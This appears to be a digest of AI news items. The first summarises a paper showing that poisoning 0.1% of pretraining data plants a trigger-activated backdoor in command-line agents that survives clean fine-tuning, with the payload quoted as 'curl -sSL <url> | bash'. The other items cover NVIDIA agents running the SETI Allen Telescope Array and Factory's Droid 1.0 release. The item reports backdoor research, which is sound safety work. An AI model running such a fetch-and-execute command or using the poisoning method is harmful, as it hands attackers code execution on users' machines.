Benchmark7d ago
Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL
Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.
Tooling3d ago
NVIDIA says AI agents now steer the SETI Allen Telescope Array, calibrating it and analyzing up to 2.4 Tbps of live radio data from plain-language requests
An Oct 30 NVIDIA blog post says Breakthrough Listen and the SETI Institute have brought agents into daily SETI work at the Allen Telescope Array (ATA, 42 dishes of 6 m each) in Northern California: from a single natural-language request, agents can steer the antennas, calibrate and focus, fix data errors, and run AI models on the live stream. Holoscan's DAQIRI library pulls sensor data straight into GPU memory, the SETI Institute's CyberEther handles signal processing, and the web-based orchestrator Nexus acts as the agent harness, handling up to 2.4 Tbps on premises on RTX PRO 6000 Blackwell GPUs. The pipeline has made the first real-time AI detection of a pulsar in the Crab Nebula, and the team is evaluating open models such as Nemotron. The @NVIDIAAI Halloween post on Oct 31 drew about 274 likes.
Tooling4d ago
Factory launches Droid 1.0: programmatic tool calling by default, hundreds of tool calls per model request, leads native harnesses on its own Terminal-Bench 4 runs
AI coding agent company Factory announced Droid 1.0 on X and its blog at 22:31 UTC on Oct 29, calling it the largest update yet to its agent harness. The key change makes programmatic tool calling (PTC) the default: the model writes a JavaScript program that runs up to hundreds of tool calls in a sandbox in one model request. In Factorys own Terminal-Bench 4 runs, Droid scored 57.6% with GPT-6.1 Sol ($0.79 per passed task) and 65.2% with Claude Opus 5.5 ($4.73), ahead of Codex, Claude Code, Cursor, OpenCode and Devin on the same models.
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